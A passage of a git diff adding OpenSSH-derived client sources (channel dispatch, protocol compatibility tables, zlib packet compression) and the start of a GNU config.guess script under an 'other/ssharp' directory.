(buffer_len(&stdout_buffer) > 0) { + len = write(fileno(stdout), buffer_ptr(&stdout_buffer), + buffer_len(&stdout_buffer)); + if (len <= 0) { + error("Write failed flushing stdout buffer."); + break; + } + buffer_consume(&stdout_buffer, len); + stdout_bytes += len; + } + + /* Output any buffered data for stderr. */ + while (buffer_len(&stderr_buffer) > 0) { + len = write(fileno(stderr), buffer_ptr(&stderr_buffer), + buffer_len(&stderr_buffer)); + if (len <= 0) { + error("Write failed flushing stderr buffer."); + break; + } + buffer_consume(&stderr_buffer, len); + stderr_bytes += len; + } + + if (have_pty) + leave_raw_mode(); + + /* Clear and free any buffers. */ + memset(buf, 0, sizeof(buf)); + buffer_free(&stdin_buffer); + buffer_free(&stdout_buffer); + buffer_free(&stderr_buffer); + + /* Report bytes transferred, and transfer rates. */ + total_time = get_current_time() - start_time; + debug("Transferred: stdin %lu, stdout %lu, stderr %lu bytes in %.1f seconds", + stdin_bytes, stdout_bytes, stderr_bytes, total_time); + if (total_time > 0) + debug("Bytes per second: stdin %.1f, stdout %.1f, stderr %.1f", + stdin_bytes / total_time, stdout_bytes / total_time, + stderr_bytes / total_time); + + /* Return the exit status of the program. */ + debug("Exit status %d", exit_status); + return exit_status; +} + +/*********/ + +void +client_input_stdout_data(int type, int plen, void *ctxt) +{ + u_int data_len; + char *data = packet_get_string(&data_len); + packet_integrity_check(plen, 4 + data_len, type); + buffer_append(&stdout_buffer, data, data_len); + memset(data, 0, data_len); + xfree(data); +} +void +client_input_stderr_data(int type, int plen, void *ctxt) +{ + u_int data_len; + char *data = packet_get_string(&data_len); + packet_integrity_check(plen, 4 + data_len, type); + buffer_append(&stderr_buffer, data, data_len); + memset(data, 0, data_len); + xfree(data); +} +void +client_input_exit_status(int type, int plen, void *ctxt) +{ + packet_integrity_check(plen, 4, type); + exit_status = packet_get_int(); + /* Acknowledge the exit. */ + packet_start(SSH_CMSG_EXIT_CONFIRMATION); + packet_send(); + /* + * Must wait for packet to be sent since we are + * exiting the loop. + */ + packet_write_wait(); + /* Flag that we want to exit. */ + quit_pending = 1; +} + +Channel * +client_request_forwarded_tcpip(const char *request_type, int rchan) +{ + Channel* c = NULL; + char *listen_address, *originator_address; + int listen_port, originator_port; + int sock, newch; + + /* Get rest of the packet */ + listen_address = packet_get_string(NULL); + listen_port = packet_get_int(); + originator_address = packet_get_string(NULL); + originator_port = packet_get_int(); + packet_done(); + + debug("client_request_forwarded_tcpip: listen %s port %d, originator %s port %d", + listen_address, listen_port, originator_address, originator_port); + + sock = channel_connect_by_listen_adress(listen_port); + if (sock >= 0) { + newch = channel_new("forwarded-tcpip", + SSH_CHANNEL_CONNECTING, sock, sock, -1, + CHAN_TCP_WINDOW_DEFAULT, CHAN_TCP_WINDOW_DEFAULT, 0, + xstrdup(originator_address), 1); + c = channel_lookup(newch); + } + xfree(originator_address); + xfree(listen_address); + return c; +} + +Channel* +client_request_x11(const char *request_type, int rchan) +{ + Channel *c = NULL; + char *originator; + int originator_port; + int sock, newch; + + if (!options.forward_x11) { + error("Warning: ssh server tried X11 forwarding."); + error("Warning: this is probably a break in attempt by a malicious server."); + return NULL; + } + originator = packet_get_string(NULL); + if (datafellows & SSH_BUG_X11FWD) { + debug2("buggy server: x11 request w/o originator_port"); + originator_port = 0; + } else { + originator_port = packet_get_int(); + } + packet_done(); + /* XXX check permission */ + debug("client_request_x11: request from %s %d", originator, + originator_port); + sock = x11_connect_display(); + if (sock >= 0) { + newch = channel_new("x11", + SSH_CHANNEL_X11_OPEN, sock, sock, -1, + CHAN_TCP_WINDOW_DEFAULT, CHAN_X11_PACKET_DEFAULT, 0, + xstrdup("x11"), 1); + c = channel_lookup(newch); + } + xfree(originator); + return c; +} + +Channel* +client_request_agent(const char *request_type, int rchan) +{ + Channel *c = NULL; + int sock, newch; + + if (!options.forward_agent) { + error("Warning: ssh server tried agent forwarding."); + error("Warning: this is probably a break in attempt by a malicious server."); + return NULL; + } + sock = ssh_get_authentication_socket(); + if (sock >= 0) { + newch = channel_new("authentication agent connection", + SSH_CHANNEL_OPEN, sock, sock, -1, + CHAN_X11_WINDOW_DEFAULT, CHAN_TCP_WINDOW_DEFAULT, 0, + xstrdup("authentication agent connection"), 1); + c = channel_lookup(newch); + } + return c; +} + +/* XXXX move to generic input handler */ +void +client_input_channel_open(int type, int plen, void *ctxt) +{ + Channel *c = NULL; + char *ctype; + u_int len; + int rchan; + int rmaxpack; + int rwindow; + + ctype = packet_get_string(&len); + rchan = packet_get_int(); + rwindow = packet_get_int(); + rmaxpack = packet_get_int(); + + debug("client_input_channel_open: ctype %s rchan %d win %d max %d", + ctype, rchan, rwindow, rmaxpack); + + if (strcmp(ctype, "forwarded-tcpip") == 0) { + c = client_request_forwarded_tcpip(ctype, rchan); + } else if (strcmp(ctype, "x11") == 0) { + c = client_request_x11(ctype, rchan); + } else if (strcmp(ctype, "auth-agent@openssh.com") == 0) { + c = client_request_agent(ctype, rchan); + } +/* XXX duplicate : */ + if (c != NULL) { + debug("confirm %s", ctype); + c->remote_id = rchan; + c->remote_window = rwindow; + c->remote_maxpacket = rmaxpack; + + packet_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION); + packet_put_int(c->remote_id); + packet_put_int(c->self); + packet_put_int(c->local_window); + packet_put_int(c->local_maxpacket); + packet_send(); + } else { + debug("failure %s", ctype); + packet_start(SSH2_MSG_CHANNEL_OPEN_FAILURE); + packet_put_int(rchan); + packet_put_int(SSH2_OPEN_ADMINISTRATIVELY_PROHIBITED); + packet_put_cstring("bla bla"); + packet_put_cstring(""); + packet_send(); + } + xfree(ctype); +} +void +client_input_channel_req(int type, int plen, void *ctxt) +{ + Channel *c = NULL; + int id, reply, success = 0; + char *rtype; + + id = packet_get_int(); + rtype = packet_get_string(NULL); + reply = packet_get_char(); + + debug("client_input_channel_req: channel %d rtype %s reply %d", + id, rtype, reply); + + if (session_ident == -1) { + error("client_input_channel_req: no channel %d", session_ident); + } else if (id != session_ident) { + error("client_input_channel_req: channel %d: wrong channel: %d", + session_ident, id); + } + c = channel_lookup(id); + if (c == NULL) { + error("client_input_channel_req: channel %d: unknown channel", id); + } else if (strcmp(rtype, "exit-status") == 0) { + success = 1; + exit_status = packet_get_int(); + packet_done(); + } + if (reply) { + packet_start(success ? + SSH2_MSG_CHANNEL_SUCCESS : SSH2_MSG_CHANNEL_FAILURE); + packet_put_int(c->remote_id); + packet_send(); + } + xfree(rtype); +} + +void +client_init_dispatch_20(void) +{ + dispatch_init(&dispatch_protocol_error); + dispatch_set(SSH2_MSG_CHANNEL_CLOSE, &channel_input_oclose); + dispatch_set(SSH2_MSG_CHANNEL_DATA, &channel_input_data); + dispatch_set(SSH2_MSG_CHANNEL_EOF, &channel_input_ieof); + dispatch_set(SSH2_MSG_CHANNEL_EXTENDED_DATA, &channel_input_extended_data); + dispatch_set(SSH2_MSG_CHANNEL_OPEN, &client_input_channel_open); + dispatch_set(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION, &channel_input_open_confirmation); + dispatch_set(SSH2_MSG_CHANNEL_OPEN_FAILURE, &channel_input_open_failure); + dispatch_set(SSH2_MSG_CHANNEL_REQUEST, &client_input_channel_req); + dispatch_set(SSH2_MSG_CHANNEL_WINDOW_ADJUST, &channel_input_window_adjust); + + /* rekeying */ + dispatch_set(SSH2_MSG_KEXINIT, &kex_input_kexinit); +} +void +client_init_dispatch_13(void) +{ + dispatch_init(NULL); + dispatch_set(SSH_MSG_CHANNEL_CLOSE, &channel_input_close); + dispatch_set(SSH_MSG_CHANNEL_CLOSE_CONFIRMATION, &channel_input_close_confirmation); + dispatch_set(SSH_MSG_CHANNEL_DATA, &channel_input_data); + dispatch_set(SSH_MSG_CHANNEL_OPEN_CONFIRMATION, &channel_input_open_confirmation); + dispatch_set(SSH_MSG_CHANNEL_OPEN_FAILURE, &channel_input_open_failure); + dispatch_set(SSH_MSG_PORT_OPEN, &channel_input_port_open); + dispatch_set(SSH_SMSG_EXITSTATUS, &client_input_exit_status); + dispatch_set(SSH_SMSG_STDERR_DATA, &client_input_stderr_data); + dispatch_set(SSH_SMSG_STDOUT_DATA, &client_input_stdout_data); + + dispatch_set(SSH_SMSG_AGENT_OPEN, options.forward_agent ? + &auth_input_open_request : &deny_input_open); + dispatch_set(SSH_SMSG_X11_OPEN, options.forward_x11 ? + &x11_input_open : &deny_input_open); +} +void +client_init_dispatch_15(void) +{ + client_init_dispatch_13(); + dispatch_set(SSH_MSG_CHANNEL_CLOSE, &channel_input_ieof); + dispatch_set(SSH_MSG_CHANNEL_CLOSE_CONFIRMATION, & channel_input_oclose); +} +void +client_init_dispatch(void) +{ + if (compat20) + client_init_dispatch_20(); + else if (compat13) + client_init_dispatch_13(); + else + client_init_dispatch_15(); +} diff --git a/other/ssharp/clientloop.h b/other/ssharp/clientloop.h new file mode 100644 index 0000000..ee40d87 --- /dev/null +++ b/other/ssharp/clientloop.h @@ -0,0 +1,39 @@ +/* $OpenBSD: clientloop.h,v 1.4 2001/02/06 22:43:02 markus Exp $ */ + +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ +/* + * Copyright (c) 2001 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/* Client side main loop for the interactive session. */ +int client_loop(int have_pty, int escape_char, int id); diff --git a/other/ssharp/compat.c b/other/ssharp/compat.c new file mode 100644 index 0000000..f5eeda0 --- /dev/null +++ b/other/ssharp/compat.c @@ -0,0 +1,198 @@ +/* + * Copyright (c) 1999,2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: compat.c,v 1.47 2001/04/18 23:43:25 markus Exp $"); + +#ifdef HAVE_LIBPCRE +# include +#else /* Use native regex libraries */ +# ifdef HAVE_REGEX_H +# include +# else +# include "openbsd-compat/fake-regex.h" +# endif +#endif /* HAVE_LIBPCRE */ + +#include "packet.h" +#include "xmalloc.h" +#include "compat.h" +#include "log.h" + +int compat13 = 0; +int compat20 = 0; +int datafellows = 0; + +void +enable_compat20(void) +{ + verbose("Enabling compatibility mode for protocol 2.0"); + compat20 = 1; +} +void +enable_compat13(void) +{ + verbose("Enabling compatibility mode for protocol 1.3"); + compat13 = 1; +} +/* datafellows bug compatibility */ +void +compat_datafellows(const char *version) +{ + int i, ret; + char ebuf[1024]; + regex_t reg; + static struct { + char *pat; + int bugs; + } check[] = { + { "^OpenSSH[-_]2\\.[012]", + SSH_OLD_SESSIONID|SSH_BUG_BANNER| + SSH_OLD_DHGEX|SSH_BUG_NOREKEY }, + { "^OpenSSH_2\\.3\\.0", SSH_BUG_BANNER|SSH_BUG_BIGENDIANAES| + SSH_OLD_DHGEX|SSH_BUG_NOREKEY}, + { "^OpenSSH_2\\.3\\.", SSH_BUG_BIGENDIANAES|SSH_OLD_DHGEX| + SSH_BUG_NOREKEY}, + { "^OpenSSH_2\\.5\\.[01]p1", + SSH_BUG_BIGENDIANAES|SSH_OLD_DHGEX| + SSH_BUG_NOREKEY }, + { "^OpenSSH_2\\.5\\.[012]", + SSH_OLD_DHGEX|SSH_BUG_NOREKEY }, + { "^OpenSSH_2\\.5\\.3", + SSH_BUG_NOREKEY }, + { "^OpenSSH", 0 }, + { "MindTerm", 0 }, + { "^2\\.1\\.0", SSH_BUG_SIGBLOB|SSH_BUG_HMAC| + SSH_OLD_SESSIONID|SSH_BUG_DEBUG| + SSH_BUG_RSASIGMD5|SSH_BUG_HBSERVICE }, + { "^2\\.1 ", SSH_BUG_SIGBLOB|SSH_BUG_HMAC| + SSH_OLD_SESSIONID|SSH_BUG_DEBUG| + SSH_BUG_RSASIGMD5|SSH_BUG_HBSERVICE }, + { "^2\\.0\\.1[3-9]", SSH_BUG_SIGBLOB|SSH_BUG_HMAC| + SSH_OLD_SESSIONID|SSH_BUG_DEBUG| + SSH_BUG_PKSERVICE|SSH_BUG_X11FWD| + SSH_BUG_PKOK|SSH_BUG_RSASIGMD5| + SSH_BUG_HBSERVICE }, + { "^2\\.0\\.", SSH_BUG_SIGBLOB|SSH_BUG_HMAC| + SSH_OLD_SESSIONID|SSH_BUG_DEBUG| + SSH_BUG_PKSERVICE|SSH_BUG_X11FWD| + SSH_BUG_PKAUTH|SSH_BUG_PKOK| + SSH_BUG_RSASIGMD5 }, + { "^2\\.[23]\\.0", SSH_BUG_HMAC|SSH_BUG_RSASIGMD5 }, + { "^2\\.3\\.", SSH_BUG_RSASIGMD5 }, + { "^2\\.[2-9]\\.", 0 }, + { "^2\\.4$", SSH_OLD_SESSIONID }, /* Van Dyke */ + { "^3\\.0 SecureCRT", SSH_OLD_SESSIONID }, + { "^1\\.7 SecureFX", SSH_OLD_SESSIONID }, + { "^1\\.2\\.1[89]", SSH_BUG_IGNOREMSG }, + { "^1\\.2\\.2[012]", SSH_BUG_IGNOREMSG }, + { "^1\\.3\\.2", SSH_BUG_IGNOREMSG }, /* f-secure */ + { "^SSH Compatible Server", /* Netscreen */ + SSH_BUG_PASSWORDPAD }, + { "^OSU_0", SSH_BUG_PASSWORDPAD }, + { "^OSU_1\\.[0-4]", SSH_BUG_PASSWORDPAD }, + { "^OSU_1\\.5alpha[1-3]", + SSH_BUG_PASSWORDPAD }, + { "^SSH_Version_Mapper", + SSH_BUG_SCANNER }, + { NULL, 0 } + }; + /* process table, return first match */ + for (i = 0; check[i].pat; i++) { + ret = regcomp(®, check[i].pat, REG_EXTENDED|REG_NOSUB); + if (ret != 0) { + regerror(ret, ®, ebuf, sizeof(ebuf)); + ebuf[sizeof(ebuf)-1] = '\0'; + error("regerror: %s", ebuf); + continue; + } + ret = regexec(®, version, 0, NULL, 0); + regfree(®); + if (ret == 0) { + debug("match: %s pat %s", version, check[i].pat); + datafellows = check[i].bugs; + return; + } + } + debug("no match: %s", version); +} + +#define SEP "," +int +proto_spec(const char *spec) +{ + char *s, *p, *q; + int ret = SSH_PROTO_UNKNOWN; + + if (spec == NULL) + return ret; + q = s = xstrdup(spec); + for ((p = strsep(&q, SEP)); p && *p != '\0'; (p = strsep(&q, SEP))) { + switch(atoi(p)) { + case 1: + if (ret == SSH_PROTO_UNKNOWN) + ret |= SSH_PROTO_1_PREFERRED; + ret |= SSH_PROTO_1; + break; + case 2: + ret |= SSH_PROTO_2; + break; + default: + log("ignoring bad proto spec: '%s'.", p); + break; + } + } + xfree(s); + return ret; +} + +char * +compat_cipher_proposal(char *cipher_prop) +{ + char *orig_prop, *fix_ciphers; + char *cp, *tmp; + size_t len; + + if (!(datafellows & SSH_BUG_BIGENDIANAES)) + return(cipher_prop); + + len = strlen(cipher_prop) + 1; + fix_ciphers = xmalloc(len); + *fix_ciphers = '\0'; + tmp = orig_prop = xstrdup(cipher_prop); + while((cp = strsep(&tmp, ",")) != NULL) { + if (strncmp(cp, "aes", 3) && strncmp(cp, "rijndael", 8)) { + if (*fix_ciphers) + strlcat(fix_ciphers, ",", len); + strlcat(fix_ciphers, cp, len); + } + } + xfree(orig_prop); + debug2("Original cipher proposal: %s", cipher_prop); + debug2("Compat cipher proposal: %s", fix_ciphers); + if (!*fix_ciphers) + fatal("No available ciphers found."); + + return(fix_ciphers); +} diff --git a/other/ssharp/compat.h b/other/ssharp/compat.h new file mode 100644 index 0000000..fc6f334 --- /dev/null +++ b/other/ssharp/compat.h @@ -0,0 +1,60 @@ +/* + * Copyright (c) 1999 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +/* RCSID("$OpenBSD: compat.h,v 1.23 2001/04/12 19:15:24 markus Exp $"); */ + +#ifndef COMPAT_H +#define COMPAT_H + +#define SSH_PROTO_UNKNOWN 0x00 +#define SSH_PROTO_1 0x01 +#define SSH_PROTO_1_PREFERRED 0x02 +#define SSH_PROTO_2 0x04 + +#define SSH_BUG_SIGBLOB 0x0001 +#define SSH_BUG_PKSERVICE 0x0002 +#define SSH_BUG_HMAC 0x0004 +#define SSH_BUG_X11FWD 0x0008 +#define SSH_OLD_SESSIONID 0x0010 +#define SSH_BUG_PKAUTH 0x0020 +#define SSH_BUG_DEBUG 0x0040 +#define SSH_BUG_BANNER 0x0080 +#define SSH_BUG_IGNOREMSG 0x0100 +#define SSH_BUG_PKOK 0x0200 +#define SSH_BUG_PASSWORDPAD 0x0400 +#define SSH_BUG_SCANNER 0x0800 +#define SSH_BUG_BIGENDIANAES 0x1000 +#define SSH_BUG_RSASIGMD5 0x2000 +#define SSH_OLD_DHGEX 0x4000 +#define SSH_BUG_NOREKEY 0x8000 +#define SSH_BUG_HBSERVICE 0x10000 + +void enable_compat13(void); +void enable_compat20(void); +void compat_datafellows(const char *s); +int proto_spec(const char *spec); +char *compat_cipher_proposal(char *cipher_prop); +extern int compat13; +extern int compat20; +extern int datafellows; +#endif diff --git a/other/ssharp/compress.c b/other/ssharp/compress.c new file mode 100644 index 0000000..3e41b3d --- /dev/null +++ b/other/ssharp/compress.c @@ -0,0 +1,156 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Interface to packet compression for ssh. + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +#include "includes.h" +RCSID("$OpenBSD: compress.c,v 1.14 2001/04/05 10:39:01 markus Exp $"); + +#include "log.h" +#include "buffer.h" +#include "zlib.h" +#include "compress.h" + +static z_stream incoming_stream; +static z_stream outgoing_stream; +static int compress_init_send_called = 0; +static int compress_init_recv_called = 0; + +/* + * Initializes compression; level is compression level from 1 to 9 + * (as in gzip). + */ + +void +buffer_compress_init_send(int level) +{ + if (compress_init_send_called == 1) + deflateEnd(&incoming_stream); + compress_init_send_called = 1; + debug("Enabling compression at level %d.", level); + if (level < 1 || level > 9) + fatal("Bad compression level %d.", level); + deflateInit(&outgoing_stream, level); +} +void +buffer_compress_init_recv(void) +{ + if (compress_init_recv_called == 1) + inflateEnd(&incoming_stream); + compress_init_recv_called = 1; + inflateInit(&incoming_stream); +} + +/* Frees any data structures allocated for compression. */ + +void +buffer_compress_uninit(void) +{ + debug("compress outgoing: raw data %lu, compressed %lu, factor %.2f", + outgoing_stream.total_in, outgoing_stream.total_out, + outgoing_stream.total_in == 0 ? 0.0 : + (double) outgoing_stream.total_out / outgoing_stream.total_in); + debug("compress incoming: raw data %lu, compressed %lu, factor %.2f", + incoming_stream.total_out, incoming_stream.total_in, + incoming_stream.total_out == 0 ? 0.0 : + (double) incoming_stream.total_in / incoming_stream.total_out); + if (compress_init_recv_called == 1) + inflateEnd(&incoming_stream); + if (compress_init_send_called == 1) + deflateEnd(&outgoing_stream); +} + +/* + * Compresses the contents of input_buffer into output_buffer. All packets + * compressed using this function will form a single compressed data stream; + * however, data will be flushed at the end of every call so that each + * output_buffer can be decompressed independently (but in the appropriate + * order since they together form a single compression stream) by the + * receiver. This appends the compressed data to the output buffer. + */ + +void +buffer_compress(Buffer * input_buffer, Buffer * output_buffer) +{ + char buf[4096]; + int status; + + /* This case is not handled below. */ + if (buffer_len(input_buffer) == 0) + return; + + /* Input is the contents of the input buffer. */ + outgoing_stream.next_in = (u_char *) buffer_ptr(input_buffer); + outgoing_stream.avail_in = buffer_len(input_buffer); + + /* Loop compressing until deflate() returns with avail_out != 0. */ + do { + /* Set up fixed-size output buffer. */ + outgoing_stream.next_out = (u_char *)buf; + outgoing_stream.avail_out = sizeof(buf); + + /* Compress as much data into the buffer as possible. */ + status = deflate(&outgoing_stream, Z_PARTIAL_FLUSH); + switch (status) { + case Z_OK: + /* Append compressed data to output_buffer. */ + buffer_append(output_buffer, buf, + sizeof(buf) - outgoing_stream.avail_out); + break; + default: + fatal("buffer_compress: deflate returned %d", status); + /* NOTREACHED */ + } + } while (outgoing_stream.avail_out == 0); +} + +/* + * Uncompresses the contents of input_buffer into output_buffer. All packets + * uncompressed using this function will form a single compressed data + * stream; however, data will be flushed at the end of every call so that + * each output_buffer. This must be called for the same size units that the + * buffer_compress was called, and in the same order that buffers compressed + * with that. This appends the uncompressed data to the output buffer. + */ + +void +buffer_uncompress(Buffer * input_buffer, Buffer * output_buffer) +{ + char buf[4096]; + int status; + + incoming_stream.next_in = (u_char *) buffer_ptr(input_buffer); + incoming_stream.avail_in = buffer_len(input_buffer); + + for (;;) { + /* Set up fixed-size output buffer. */ + incoming_stream.next_out = (u_char *) buf; + incoming_stream.avail_out = sizeof(buf); + + status = inflate(&incoming_stream, Z_PARTIAL_FLUSH); + switch (status) { + case Z_OK: + buffer_append(output_buffer, buf, + sizeof(buf) - incoming_stream.avail_out); + break; + case Z_BUF_ERROR: + /* + * Comments in zlib.h say that we should keep calling + * inflate() until we get an error. This appears to + * be the error that we get. + */ + return; + default: + fatal("buffer_uncompress: inflate returned %d", status); + /* NOTREACHED */ + } + } +} diff --git a/other/ssharp/compress.h b/other/ssharp/compress.h new file mode 100644 index 0000000..f90932a --- /dev/null +++ b/other/ssharp/compress.h @@ -0,0 +1,49 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Interface to packet compression for ssh. + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +/* RCSID("$OpenBSD: compress.h,v 1.8 2001/04/05 10:39:02 markus Exp $"); */ + +#ifndef COMPRESS_H +#define COMPRESS_H + +/* + * Initializes compression; level is compression level from 1 to 9 (as in + * gzip). + */ +void buffer_compress_init_send(int level); +void buffer_compress_init_recv(void); + +/* Frees any data structures allocated by buffer_compress_init. */ +void buffer_compress_uninit(void); + +/* + * Compresses the contents of input_buffer into output_buffer. All packets + * compressed using this function will form a single compressed data stream; + * however, data will be flushed at the end of every call so that each + * output_buffer can be decompressed independently (but in the appropriate + * order since they together form a single compression stream) by the + * receiver. This appends the compressed data to the output buffer. + */ +void buffer_compress(Buffer * input_buffer, Buffer * output_buffer); + +/* + * Uncompresses the contents of input_buffer into output_buffer. All packets + * uncompressed using this function will form a single compressed data + * stream; however, data will be flushed at the end of every call so that + * each output_buffer. This must be called for the same size units that the + * buffer_compress was called, and in the same order that buffers compressed + * with that. This appends the uncompressed data to the output buffer. + */ +void buffer_uncompress(Buffer * input_buffer, Buffer * output_buffer); + +#endif /* COMPRESS_H */ diff --git a/other/ssharp/config.guess b/other/ssharp/config.guess new file mode 100755 index 0000000..b4faaed --- /dev/null +++ b/other/ssharp/config.guess @@ -0,0 +1,1270 @@ +#! /bin/sh +# Attempt to guess a canonical system name. +# Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000 +# Free Software Foundation, Inc. + +version='2000-05-30' + +# This file is free software; you can redistribute it and/or modify it +# under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. +# +# As a special exception to the GNU General Public License, if you +# distribute this file as part of a program that contains a +# configuration script generated by Autoconf, you may include it under +# the same distribution terms that you use for the rest of that program. + +# Written by Per Bothner . +# Please send patches to . +# +# This script attempts to guess a canonical system name similar to +# config.sub. If it succeeds, it prints the system name on stdout, and +# exits with 0. Otherwise, it exits with 1. +# +# The plan is that this can be called by configure scripts if you +# don't specify an explicit system type (host/target name). +# +# Only a few systems have been added to this list; please add others +# (but try to keep the structure clean). +# + +me=`echo "$0" | sed -e 's,.*/,,'` + +usage="\ +Usage: $0 [OPTION] + +Output the configuration name of this system. + +Operation modes: + -h, --help print this help, then exit + -V, --version print version number, then exit" + +help=" +Try \`$me --help' for more information." + +# Parse command line +while test $# -gt 0 ; do + case "$1" in + --version | --vers* | -V ) + echo "$version" ; exit 0 ;; + --help | --h* | -h ) + echo "$usage"; exit 0 ;; + -- ) # Stop option processing + shift; break ;; + - ) # Use stdin as input. + break ;; + -* ) + exec >&2 + echo "$me: invalid option $1" + echo "$help" + exit 1 ;; + * ) + break ;; + esac +done + +if test $# != 0; then + echo "$me: too many arguments$help" >&2 + exit 1 +fi + +# Use $HOST_CC if defined. $CC may point to a cross-compiler +if test x"$CC_FOR_BUILD" = x; then + if test x"$HOST_CC" != x; then + CC_FOR_BUILD="$HOST_CC" + else + if test x"$CC" != x; then + CC_FOR_BUILD="$CC" + else + CC_FOR_BUILD=cc + fi + fi +fi + + +# This is needed to find uname on a Pyramid OSx when run in the BSD universe. +# (ghazi@noc.rutgers.edu 8/24/94.) +if (test -f /.attbin/uname) >/dev/null 2>&1 ; then + PATH=$PATH:/.attbin ; export PATH +fi + +UNAME_MACHINE=`(uname -m) 2>/dev/null` || UNAME_MACHINE=unknown +UNAME_RELEASE=`(uname -r) 2>/dev/null` || UNAME_RELEASE=unknown +UNAME_SYSTEM=`(uname -s) 2>/dev/null` || UNAME_SYSTEM=unknown +UNAME_VERSION=`(uname -v) 2>/dev/null` || UNAME_VERSION=unknown + +dummy=dummy-$$ +trap 'rm -f $dummy.c $dummy.o $dummy; exit 1' 1 2 15 + +# Note: order is significant - the case branches are not exclusive. + +case "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}" in + *:NetBSD:*:*) + # Netbsd (nbsd) targets should (where applicable) match 